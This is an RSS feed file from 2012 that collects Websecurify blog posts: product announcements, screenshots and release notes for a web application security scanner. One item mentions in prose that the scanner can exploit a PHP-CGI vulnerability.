<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:yt="http://gdata.youtube.com/schemas/2007" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
   <channel>
      <title>GNUCITIZEN Network</title>
      <description>GNUCITIZEN Network</description>
      <link>http://pipes.yahoo.com/pipes/pipe.info?_id=Sn4Ffa3x3BGCYK7_nkartA</link>
      <atom:link rel="next" href="http://pipes.yahoo.com/pipes/pipe.run?_id=Sn4Ffa3x3BGCYK7_nkartA&amp;_render=rss&amp;page=2" />
      <pubDate>Mon, 28 May 2012 07:24:16 +0000</pubDate>
      <generator>http://pipes.yahoo.com/pipes/</generator>
      <atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/gnucitizenNetwork" /><feedburner:info xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" uri="gnucitizennetwork" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><image><link>http://www.gnucitizen.org</link><url>http://www.gnucitizen.org/images/gc-reflection-gnucitizen-inverted.png</url><title>GNUCITIZEN</title></image><item>
         <title>Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)</title>
         <link>http://blog.websecurify.com/2012/05/websecurify-websuite-incidents-php-cgi.html</link>
         <description>&lt;br /&gt;Websecurify Websuite Incidents is a cloud-based web application security scanner, designed to find only critical vulnerabilities and provide tools to exploit them. This video demonstrates how the tool can find CVE-2012-2311 (PHP-CGI vulnerability) and run an exploit against the target to get a command shell.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The video also shows some aspects of the user interface, which are helpful when entering multiple targets. You can simultaneously scan all applications across your organization getting instantaneous feedback about your level of exposure to common and widely exploited security issues.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2382932154546319997-3003089370817993868?l=blog.websecurify.com' alt=''/&gt;&lt;/div&gt;</description>
         <author>noreply@blogger.com (pdp)</author>
         <guid isPermaLink="false">tag:blogger.com,1999:blog-2382932154546319997.post-3003089370817993868</guid>
         <pubDate>Fri, 11 May 2012 20:43:00 +0000</pubDate>
      </item>
      <item>
         <title>Websuite Scanner Tutorial</title>
         <link>http://blog.websecurify.com/2012/05/websuite-scanner-tutorial.html</link>
         <description>Actually you don't need one but here it is &lt;a rel="nofollow" target="_blank" href="http://scanner.websecurify.com/tutorial"&gt;anyway&lt;/a&gt;. It is part of the service. This is really all you need to know to get started. Nothing else is required.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear:both;text-align:center;"&gt;&lt;a rel="nofollow" target="_blank" href="http://4.bp.blogspot.com/-ggH0eyCF8Qc/T6LGis2TGqI/AAAAAAAAAcU/pwhiYFGwB4s/s1600/Screen+shot+2012-05-03+at+18.55.05.png" style="clear:left;float:left;margin-bottom:1em;margin-right:1em;"&gt;&lt;img border="0" height="388" src="http://4.bp.blogspot.com/-ggH0eyCF8Qc/T6LGis2TGqI/AAAAAAAAAcU/pwhiYFGwB4s/s640/Screen+shot+2012-05-03+at+18.55.05.png" width="640"/&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2382932154546319997-2661950338762487522?l=blog.websecurify.com' alt=''/&gt;&lt;/div&gt;</description>
         <author>noreply@blogger.com (pdp)</author>
         <guid isPermaLink="false">tag:blogger.com,1999:blog-2382932154546319997.post-2661950338762487522</guid>
         <pubDate>Thu, 03 May 2012 17:56:00 +0000</pubDate>
         <media:thumbnail height="72" url="http://4.bp.blogspot.com/-ggH0eyCF8Qc/T6LGis2TGqI/AAAAAAAAAcU/pwhiYFGwB4s/s72-c/Screen+shot+2012-05-03+at+18.55.05.png" width="72" />
      </item>
      <item>
         <title>This is How We Code</title>
         <link>http://blog.websecurify.com/2012/05/this-is-how-we-code.html</link>
         <description>&lt;div&gt;Another fun video, which we know you will appreciate.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2382932154546319997-7662287497173285849?l=blog.websecurify.com' alt=''/&gt;&lt;/div&gt;</description>
         <author>noreply@blogger.com (pdp)</author>
         <guid isPermaLink="false">tag:blogger.com,1999:blog-2382932154546319997.post-7662287497173285849</guid>
         <pubDate>Thu, 03 May 2012 14:03:00 +0000</pubDate>
      </item>
      <item>
         <title>Retro Websecurify (v0.4) Video</title>
         <link>http://blog.websecurify.com/2012/05/retro-websecurify-v04-video.html</link>
         <description>&lt;div&gt;This video is a preview of Websecurify 0.4 from several years ago and we are publishing it today for yours and ours amusement. Enjoy!&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2382932154546319997-6397791194900215170?l=blog.websecurify.com' alt=''/&gt;&lt;/div&gt;</description>
         <author>noreply@blogger.com (pdp)</author>
         <guid isPermaLink="false">tag:blogger.com,1999:blog-2382932154546319997.post-6397791194900215170</guid>
         <pubDate>Thu, 03 May 2012 12:03:00 +0000</pubDate>
         <media:thumbnail height="72" url="http://img.youtube.com/vi/NoNJdfmV5bY/default.jpg" width="72" />
      </item>
      <item>
         <title>Websuite Scanner Preview Video</title>
         <link>http://blog.websecurify.com/2012/05/websuite-scanner-preview-video.html</link>
         <description>&lt;div&gt;If &lt;a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/04/websuite-scanner-screenshots.html"&gt;screenshots&lt;/a&gt; are not enough, here is a video how the Websuite Scanner will feel like when you loggin:&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2382932154546319997-3648706719558392246?l=blog.websecurify.com' alt=''/&gt;&lt;/div&gt;</description>
         <author>noreply@blogger.com (pdp)</author>
         <guid isPermaLink="false">tag:blogger.com,1999:blog-2382932154546319997.post-3648706719558392246</guid>
         <pubDate>Tue, 01 May 2012 18:00:00 +0000</pubDate>
      </item>
      <item>
         <title>Websecurify Websuite Operation</title>
         <link>http://blog.websecurify.com/2012/05/websecurify-websuite-operation.html</link>
         <description>Here is a diagram how it works:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="border:both;text-align:center;"&gt;&lt;a rel="nofollow" target="_blank" href="https://lh5.googleusercontent.com/-6I1hPfr_e4s/T6AgPmWKMFI/AAAAAAAAAcI/lRkdyW2ui24/s640/blogger-image-1544683874.jpg" style="clear:left;float:left;margin-bottom:1em;margin-right:1em;"&gt;&lt;img border="0" src="https://lh5.googleusercontent.com/-6I1hPfr_e4s/T6AgPmWKMFI/AAAAAAAAAcI/lRkdyW2ui24/s1600/blogger-image-1544683874.jpg" style="border:1px dashed #cccccc;padding:10px;"/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2382932154546319997-1465960678795760992?l=blog.websecurify.com' alt=''/&gt;&lt;/div&gt;</description>
         <author>noreply@blogger.com (pdp)</author>
         <guid isPermaLink="false">tag:blogger.com,1999:blog-2382932154546319997.post-1465960678795760992</guid>
         <pubDate>Tue, 01 May 2012 17:41:00 +0000</pubDate>
         <media:thumbnail height="72" url="https://lh5.googleusercontent.com/-6I1hPfr_e4s/T6AgPmWKMFI/AAAAAAAAAcI/lRkdyW2ui24/s72-c/blogger-image-1544683874.jpg" width="72" />
      </item>
      <item>
         <title>Websuite Scanner Screenshots</title>
         <link>http://blog.websecurify.com/2012/04/websuite-scanner-screenshots.html</link>
         <description>&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a rel="nofollow" target="_blank" href="http://1.bp.blogspot.com/-CsKNi2f1TEg/T58QLV-CYWI/AAAAAAAAAa8/F8lbdJr7sVQ/s1600/websuite.scanner.screenshot01.png" style="clear:left;margin-bottom:1em;margin-right:1em;text-align:center;"&gt;&lt;img border="0" height="200" src="http://1.bp.blogspot.com/-CsKNi2f1TEg/T58QLV-CYWI/AAAAAAAAAa8/F8lbdJr7sVQ/s320/websuite.scanner.screenshot01.png" width="320"/&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a rel="nofollow" target="_blank" href="http://3.bp.blogspot.com/-q-UV5yL7qeA/T58QM1aqhLI/AAAAAAAAAbE/OsLIhykkezU/s1600/websuite.scanner.screenshot02.png" style="clear:left;margin-bottom:1em;margin-right:1em;text-align:center;"&gt;&lt;img border="0" height="200" src="http://3.bp.blogspot.com/-q-UV5yL7qeA/T58QM1aqhLI/AAAAAAAAAbE/OsLIhykkezU/s320/websuite.scanner.screenshot02.png" width="320"/&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a rel="nofollow" target="_blank" href="http://1.bp.blogspot.com/-PiZI9q3uGLA/T58QOgx8k1I/AAAAAAAAAbM/Q6AZEpOTgOs/s1600/websuite.scanner.screenshot03.png" style="clear:left;margin-bottom:1em;margin-right:1em;text-align:center;"&gt;&lt;img border="0" height="200" src="http://1.bp.blogspot.com/-PiZI9q3uGLA/T58QOgx8k1I/AAAAAAAAAbM/Q6AZEpOTgOs/s320/websuite.scanner.screenshot03.png" width="320"/&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a rel="nofollow" target="_blank" href="http://1.bp.blogspot.com/-sk4LPxazkrc/T58QQrIghtI/AAAAAAAAAbU/zOWohiRyS_M/s1600/websuite.scanner.screenshot04.png" style="clear:left;margin-bottom:1em;margin-right:1em;text-align:center;"&gt;&lt;img border="0" height="200" src="http://1.bp.blogspot.com/-sk4LPxazkrc/T58QQrIghtI/AAAAAAAAAbU/zOWohiRyS_M/s320/websuite.scanner.screenshot04.png" width="320"/&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a rel="nofollow" target="_blank" href="http://2.bp.blogspot.com/-ZgWvfxEr_Go/T58QSE_SDGI/AAAAAAAAAbc/lSLy3FuNDXw/s1600/websuite.scanner.screenshot05.png" style="clear:left;margin-bottom:1em;margin-right:1em;text-align:center;"&gt;&lt;img border="0" height="200" src="http://2.bp.blogspot.com/-ZgWvfxEr_Go/T58QSE_SDGI/AAAAAAAAAbc/lSLy3FuNDXw/s320/websuite.scanner.screenshot05.png" width="320"/&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a rel="nofollow" target="_blank" href="http://4.bp.blogspot.com/-QVpxG-EwBrA/T58QTnywdWI/AAAAAAAAAbk/38sBvUjBr2U/s1600/websuite.scanner.screenshot06.png" style="clear:left;margin-bottom:1em;margin-right:1em;text-align:center;"&gt;&lt;img border="0" height="200" src="http://4.bp.blogspot.com/-QVpxG-EwBrA/T58QTnywdWI/AAAAAAAAAbk/38sBvUjBr2U/s320/websuite.scanner.screenshot06.png" width="320"/&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a rel="nofollow" target="_blank" href="http://3.bp.blogspot.com/-eJvS4nQtbgQ/T58QWLV-rmI/AAAAAAAAAbs/HdeL6RF9XZo/s1600/websuite.scanner.screenshot07.png" style="clear:left;margin-bottom:1em;margin-right:1em;text-align:center;"&gt;&lt;img border="0" height="200" src="http://3.bp.blogspot.com/-eJvS4nQtbgQ/T58QWLV-rmI/AAAAAAAAAbs/HdeL6RF9XZo/s320/websuite.scanner.screenshot07.png" width="320"/&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a rel="nofollow" target="_blank" href="http://3.bp.blogspot.com/-jEFcEZeIaP0/T58QYQeYZZI/AAAAAAAAAb0/sjE-ZPciKUk/s1600/websuite.scanner.screenshot08.png" style="clear:left;margin-bottom:1em;margin-right:1em;text-align:center;"&gt;&lt;img border="0" height="200" src="http://3.bp.blogspot.com/-jEFcEZeIaP0/T58QYQeYZZI/AAAAAAAAAb0/sjE-ZPciKUk/s320/websuite.scanner.screenshot08.png" width="320"/&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a rel="nofollow" target="_blank" href="http://2.bp.blogspot.com/-Z1RCnhqaMhk/T58QaIZDA6I/AAAAAAAAAb8/AfhteIpy-So/s1600/websuite.scanner.screenshot09.png" style="clear:left;margin-bottom:1em;margin-right:1em;text-align:center;"&gt;&lt;img border="0" height="200" src="http://2.bp.blogspot.com/-Z1RCnhqaMhk/T58QaIZDA6I/AAAAAAAAAb8/AfhteIpy-So/s320/websuite.scanner.screenshot09.png" width="320"/&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2382932154546319997-675276249970677954?l=blog.websecurify.com' alt=''/&gt;&lt;/div&gt;</description>
         <author>noreply@blogger.com (pdp)</author>
         <guid isPermaLink="false">tag:blogger.com,1999:blog-2382932154546319997.post-675276249970677954</guid>
         <pubDate>Mon, 30 Apr 2012 22:30:00 +0000</pubDate>
         <media:thumbnail height="72" url="http://1.bp.blogspot.com/-CsKNi2f1TEg/T58QLV-CYWI/AAAAAAAAAa8/F8lbdJr7sVQ/s72-c/websuite.scanner.screenshot01.png" width="72" />
      </item>
      <item>
         <title>Initial Preview of Websecurify Scanner (scanner.websecurify.com)</title>
         <link>http://blog.websecurify.com/2012/04/initial-preview-of-websecurify-scanner.html</link>
         <description>&lt;div class="separator" style="clear:both;text-align:center;"&gt;&lt;/div&gt;The Websecurify Scanner (&lt;a rel="nofollow" target="_blank" href="http://scanner.websecurify.com/"&gt;scanner.websecurify.com&lt;/a&gt;) is perhaps the most &amp;nbsp;innovative and exciting product we have the pleasure to be working on and we just cannot wait to show it to you. Before this happens, however, there are bugs to fix and features to implement. Well, there is less of the bugs and more on the features. Nevertheless here are screenshots of some of the main things to be expected when you login.&lt;br /&gt;&lt;br /&gt;&lt;a rel="nofollow" target="_blank" href="http://3.bp.blogspot.com/-lxpMk8M9Mbg/T4dcIo02x9I/AAAAAAAAAZw/Z0wCN1UCb30/s1600/Screen+shot+2012-04-12+at+23.41.58.png" style="margin-left:1em;margin-right:1em;text-align:center;"&gt;&lt;img border="0" height="203" src="http://3.bp.blogspot.com/-lxpMk8M9Mbg/T4dcIo02x9I/AAAAAAAAAZw/Z0wCN1UCb30/s320/Screen+shot+2012-04-12+at+23.41.58.png" width="320"/&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;You may notice that the product is fairly consistent with the general look and feel of our website and all other tools. The user interface is minimalistic but allows further configuration by various buttons, hovers and other controls. This is what we call "easy by design". There is nothing intrusive or obtrusive and you will see later that the interface is&amp;nbsp;customizable.&lt;br /&gt;&lt;br /&gt;&lt;a rel="nofollow" target="_blank" href="http://4.bp.blogspot.com/-3-TJN0VWilo/T4dcJxH5-yI/AAAAAAAAAZ4/cfSaTjuMIMM/s1600/Screen+shot+2012-04-12+at+23.42.50.png" style="margin-left:1em;margin-right:1em;text-align:center;"&gt;&lt;img border="0" height="203" src="http://4.bp.blogspot.com/-3-TJN0VWilo/T4dcJxH5-yI/AAAAAAAAAZ4/cfSaTjuMIMM/s320/Screen+shot+2012-04-12+at+23.42.50.png" width="320"/&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Websecurify was designed to take away all the hardship from the decision making. In other words, the testing engine will automatically figure out what to do and what to skip. However, we have added features for advanced users to configure various aspects of the testing scope for example. One of the interesting functionalities is the ability to check the test scope before you proceed with the test. We have realised that the last thing we want you to do is to start a test, which is not even properly configured. So, if you decide to switch the advanced users mode, there are safeguards to help you all the way through the security assessment, so you can relax.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear:both;text-align:left;"&gt;&lt;a rel="nofollow" target="_blank" href="http://1.bp.blogspot.com/-5z1p0_mhMVw/T4dcL7fPM8I/AAAAAAAAAaA/A4SL-jSISrw/s1600/Screen+shot+2012-04-12+at+23.43.42.png" style="margin-left:1em;margin-right:1em;text-align:center;"&gt;&lt;img border="0" height="203" src="http://1.bp.blogspot.com/-5z1p0_mhMVw/T4dcL7fPM8I/AAAAAAAAAaA/A4SL-jSISrw/s320/Screen+shot+2012-04-12+at+23.43.42.png" width="320"/&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;It is our trademark to report issues as soon as we find them. This product is no exception. Vulnerabilities are reported as they are found with all details and supporting examples. You can pause, resume or completely stop the test at any point in time.&lt;br /&gt;&lt;br /&gt;&lt;a rel="nofollow" target="_blank" href="http://1.bp.blogspot.com/-TX8F58Ltc_I/T4dcNrClqnI/AAAAAAAAAaI/e6uJSJFg96I/s1600/Screen+shot+2012-04-12+at+23.44.23.png" style="margin-left:1em;margin-right:1em;text-align:center;"&gt;&lt;img border="0" height="203" src="http://1.bp.blogspot.com/-TX8F58Ltc_I/T4dcNrClqnI/AAAAAAAAAaI/e6uJSJFg96I/s320/Screen+shot+2012-04-12+at+23.44.23.png" width="320"/&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;We have started exposing various configuration options, which will enable you to customize the tool just the way you want it. There are plenty of features you will be able to tune to your likings. One of the options for example allows you to turn on/off additional visual elements. This may be useful especially when you use the tool on screens of different sizes. There are a lot more options like this, which are designed to "save the day"&amp;nbsp;so-to-say.&lt;br /&gt;&lt;br /&gt;&lt;a rel="nofollow" target="_blank" href="http://2.bp.blogspot.com/-F1Qt2aGP8P0/T4dcPdgKjEI/AAAAAAAAAaQ/kAfFCgFRrSI/s1600/Screen+shot+2012-04-12+at+23.44.36.png" style="margin-left:1em;margin-right:1em;text-align:center;"&gt;&lt;img border="0" height="203" src="http://2.bp.blogspot.com/-F1Qt2aGP8P0/T4dcPdgKjEI/AAAAAAAAAaQ/kAfFCgFRrSI/s320/Screen+shot+2012-04-12+at+23.44.36.png" width="320"/&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The product is in private beta, meaning that it is not&amp;nbsp;publicly&amp;nbsp;available just yet. Instead, we offer a &lt;a rel="nofollow" target="_blank" href="http://scanner.websecurify.com/signup"&gt;signup form&lt;/a&gt;, which we use to gradually enable all users. The demand for the application is heigh, which means that we may not be able to turn on your account&amp;nbsp;immediately&amp;nbsp;but do not be discouraged because we are enabling new users on a daily basis.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2382932154546319997-3836554739323376134?l=blog.websecurify.com' alt=''/&gt;&lt;/div&gt;</description>
         <author>noreply@blogger.com (pdp)</author>
         <guid isPermaLink="false">tag:blogger.com,1999:blog-2382932154546319997.post-3836554739323376134</guid>
         <pubDate>Thu, 12 Apr 2012 23:47:00 +0000</pubDate>
         <media:thumbnail height="72" url="http://3.bp.blogspot.com/-lxpMk8M9Mbg/T4dcIo02x9I/AAAAAAAAAZw/Z0wCN1UCb30/s72-c/Screen+shot+2012-04-12+at+23.41.58.png" width="72" />
      </item>
      <item>
         <title>Websecurify Mobile 1.0.2 for iOS</title>
         <link>http://blog.websecurify.com/2012/02/websecurify-mobile-102-for-ios.html</link>
         <description>Websecurify Mobile 1.0.2 for &lt;a rel="nofollow" target="_blank" href="http://www.websecurify.com/ios"&gt;iOS&lt;/a&gt; is now live on the &lt;a rel="nofollow" target="_blank" href="http://itunes.apple.com/us/app/websecurify/id465314485"&gt;iTunes App Store&lt;/a&gt;. All existing customers should receive an update within the next 24 hours.&lt;br /&gt;&lt;br /&gt;This version contains the following improvements:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;The testing engine has been revamped to enable even faster scanning with better results with less device resources.&lt;/li&gt;&lt;li&gt;The user interface has been drastically improved with plenty of new visual enhancements.&lt;/li&gt;&lt;li&gt;The reporting capabilities has been improved with issue counters, which are used as indicators to show areas that require urgent attention.&lt;/li&gt;&lt;li&gt;You can now email the report even when the test is still in progress.&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;On behalf of the Websecurify team I want to say that it was great pleasure to deliver this version and we hope that you are going to like it as much as we do.&lt;/i&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2382932154546319997-2694838671741994447?l=blog.websecurify.com' alt=''/&gt;&lt;/div&gt;</description>
         <author>noreply@blogger.com (pdp)</author>
         <guid isPermaLink="false">tag:blogger.com,1999:blog-2382932154546319997.post-2694838671741994447</guid>
         <pubDate>Tue, 21 Feb 2012 23:11:00 +0000</pubDate>
      </item>
      <item>
         <title>Cold, Coffe, Code</title>
         <link>http://blog.websecurify.com/2012/02/cold-coffe-code.html</link>
         <description>It has been a cold and snowy day here in UK. I've spent most of the time outside making snow men and giant balls of snow.&amp;nbsp;I have also&amp;nbsp;managed&amp;nbsp;to&amp;nbsp;squeeze&amp;nbsp;in some time for pentesting, &lt;a rel="nofollow" target="_blank" href="https://twitter.com/pdp/status/166126689796104192"&gt;while drinking coffee in Costa&lt;/a&gt;, and I have just finished doing some code refactoring of Websecurify Mobile 1.0.3. Indeed, it has been a productive and very rewarding day.&lt;br /&gt;&lt;br /&gt;Here are some screenshots from the latest build of Websecurify Mobile. This release is very stable although we know about one bug, which will be fixed in the next couple of days.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear:both;text-align:center;"&gt;&lt;a rel="nofollow" target="_blank" href="http://1.bp.blogspot.com/-ogQCaD-InP4/Ty7IWKOxaNI/AAAAAAAAAZQ/3T_-sd3sqJc/s1600/Screen+shot+2012-02-05+at+18.17.53.png" style="clear:left;float:left;margin-bottom:1em;margin-right:1em;"&gt;&lt;img border="0" height="320" src="http://1.bp.blogspot.com/-ogQCaD-InP4/Ty7IWKOxaNI/AAAAAAAAAZQ/3T_-sd3sqJc/s320/Screen+shot+2012-02-05+at+18.17.53.png" width="170"/&gt;&lt;/a&gt;&lt;/div&gt;&amp;nbsp;&lt;a rel="nofollow" target="_blank" href="http://4.bp.blogspot.com/--m9FCgI0F8E/Ty7IXP9yFII/AAAAAAAAAZY/m5nLEp3An-w/s1600/Screen+shot+2012-02-05+at+18.17.59.png" style="margin-left:1em;margin-right:1em;text-align:center;"&gt;&lt;img border="0" height="320" src="http://4.bp.blogspot.com/--m9FCgI0F8E/Ty7IXP9yFII/AAAAAAAAAZY/m5nLEp3An-w/s320/Screen+shot+2012-02-05+at+18.17.59.png" width="170"/&gt;&lt;/a&gt;&lt;a rel="nofollow" target="_blank" href="http://1.bp.blogspot.com/-t-eJfY-50B4/Ty7IX5gSVAI/AAAAAAAAAZg/WjOlsC-5S5E/s1600/Screen+shot+2012-02-05+at+18.18.26.png" style="margin-left:1em;margin-right:1em;text-align:center;"&gt;&lt;img border="0" height="320" src="http://1.bp.blogspot.com/-t-eJfY-50B4/Ty7IX5gSVAI/AAAAAAAAAZg/WjOlsC-5S5E/s320/Screen+shot+2012-02-05+at+18.18.26.png" width="170"/&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;So, in theory, this means that we might be able to get out the next update as soon as next week although this depends on how fast we get through Apple's approval process.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2382932154546319997-2719960121889391312?l=blog.websecurify.com' alt=''/&gt;&lt;/div&gt;</description>
         <author>noreply@blogger.com (pdp)</author>
         <guid isPermaLink="false">tag:blogger.com,1999:blog-2382932154546319997.post-2719960121889391312</guid>
         <pubDate>Sun, 05 Feb 2012 19:05:00 +0000</pubDate>
         <media:thumbnail height="72" url="http://1.bp.blogspot.com/-ogQCaD-InP4/Ty7IWKOxaNI/AAAAAAAAAZQ/3T_-sd3sqJc/s72-c/Screen+shot+2012-02-05+at+18.17.53.png" width="72" />
      </item>
      <item>
         <title>The Upcoming Websecurify Mobile</title>
         <link>http://blog.websecurify.com/2012/02/upcoming-websecurify-mobile.html</link>
         <description>This is a quick update just to let you know that we are&amp;nbsp;actively&amp;nbsp;working on the next version of Websecurify Mobile for iOS, which will contain the following key improvements:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;The latest testing engine (faster, better security checks)&lt;/li&gt;&lt;li&gt;Improved user interface&lt;/li&gt;&lt;li&gt;Ability to email reports&lt;/li&gt;&lt;li&gt;Snappier&amp;nbsp;and a lot faster than the previous version&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;div class="separator" style="clear:both;text-align:center;"&gt;&lt;a rel="nofollow" target="_blank" href="http://2.bp.blogspot.com/-dDaUANtKcYk/TymwE6jfiTI/AAAAAAAAAZE/tQAJvkmktio/s1600/Screen+shot+2012-02-01+at+21.33.24.png" style="clear:left;float:left;margin-bottom:1em;margin-right:1em;"&gt;&lt;img border="0" height="320" src="http://2.bp.blogspot.com/-dDaUANtKcYk/TymwE6jfiTI/AAAAAAAAAZE/tQAJvkmktio/s320/Screen+shot+2012-02-01+at+21.33.24.png" width="170"/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear:both;text-align:center;"&gt;&lt;br /&gt;&lt;/div&gt;We are still working on the application color schemes and polishing the user interface but the basic functionalities are there and they work great.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;The next update is just a few weeks away.&lt;/i&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2382932154546319997-4676600323878986214?l=blog.websecurify.com' alt=''/&gt;&lt;/div&gt;</description>
         <author>noreply@blogger.com (pdp)</author>
         <guid isPermaLink="false">tag:blogger.com,1999:blog-2382932154546319997.post-4676600323878986214</guid>
         <pubDate>Wed, 01 Feb 2012 21:45:00 +0000</pubDate>
         <media:thumbnail height="72" url="http://2.bp.blogspot.com/-dDaUANtKcYk/TymwE6jfiTI/AAAAAAAAAZE/tQAJvkmktio/s72-c/Screen+shot+2012-02-01+at+21.33.24.png" width="72" />
      </item>
      <item>
         <title>Websecurify 1.0.2 for Windows and Mac has Arrived</title>
         <link>http://blog.websecurify.com/2012/01/websecurify-102-for-windows-and-mac-has.html</link>
         <description>Websecurify 1.0.2 is by far the best version ever released. It is feature packed yet easy to use and as fast as nothing else.&lt;br /&gt;&lt;br /&gt;As they say "the devil is in the details" and this version is all about that. A lot of things has been taken care of in order to create a functional and fast web application security scanner with the best possible user experience. Websecurify on Mac looks gorgeous and it is really fast but wait to see Websecurify for Windows. It will change your perception of what security products should be all about.&lt;br /&gt;&lt;br /&gt;From the click on the application icon to the first application screen it takes no more than just a moment. This is very different from those pesky, never ending splash screens which we are all acquainted to from other products. The target locationbox is all you need to start a scan with zero configuration. It has been all taken care of for you by default. However, if you feel adventures you can always fire up the side browser which will allow you to pinpoint hot areas for further testing or exclusion. You simply don't need to fiddle with regular expressions or string matching constants which are not only difficult to use but also error prone and very inefficient. It has been all taken care of for you.&lt;br /&gt;&lt;br /&gt;After a lot of time spent in the lab searching for the best features we can put in a product that we love we think we have found the best way to do reporting. Reports are generated on the fly. You simply don't need to wait until the end to find out what is going. You can easily filter issues by severity or features with just a single click. Websecurify can not only show you the details of each found issue but also where possible take a screenshot as a proof. There is no other web application security tool out there that does this. Each report is exportable in various formats designed to be easily embedded into your own custom reporting templates. We simply do not support the idea of closed loop marketing by embedding our brand everywhere possible. If you are looking for in-depth information about each issue we even provide JSON and XML reports which contain details about the reported items broken down to the individual components. This is very powerful and can be used to simply your life and save you a lot of time and great deal of stress by implementing your own custom automation workflow.&lt;br /&gt;&lt;br /&gt;Last but not least Websecurify 1.0.2 is good fit for wide range of uses and available to everyone: form the experts to the casual users. We have priced the product fairly and in fact more fare than all of our competitors. There is no feature locking. We think it is silly to lock the product to scan only 1-3 web sites and than ask for more cash to unlock the full version as our competitors do. Websecurify is revolutionary in that way. However, what is even more revolutionary is that you are not tied to anual renewal fees. When you buy a major version it is your's to keep and use to test as many web applications as you need. To make it even better, we have even automated the payment process so you can enjoy you version in a few moments after purchase. It is as simple as that and we will keep your version up to date via our online update mechanism, which you can switch of if you don't need it.&lt;br /&gt;&lt;br /&gt;So enjoy it and let us hear if you have any comments, suggestions, feedback, bugs or just things that annoy you. Our commitment is to make the best web application security tool out there.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2382932154546319997-3295308402523031458?l=blog.websecurify.com' alt=''/&gt;&lt;/div&gt;</description>
         <author>noreply@blogger.com (pdp)</author>
         <guid isPermaLink="false">tag:blogger.com,1999:blog-2382932154546319997.post-3295308402523031458</guid>
         <pubDate>Mon, 16 Jan 2012 00:55:00 +0000</pubDate>
      </item>
      <item>
         <title>A Collage of Websecurify's Evolution</title>
         <link>http://blog.websecurify.com/2011/12/collage-of-websecurifys-evolution.html</link>
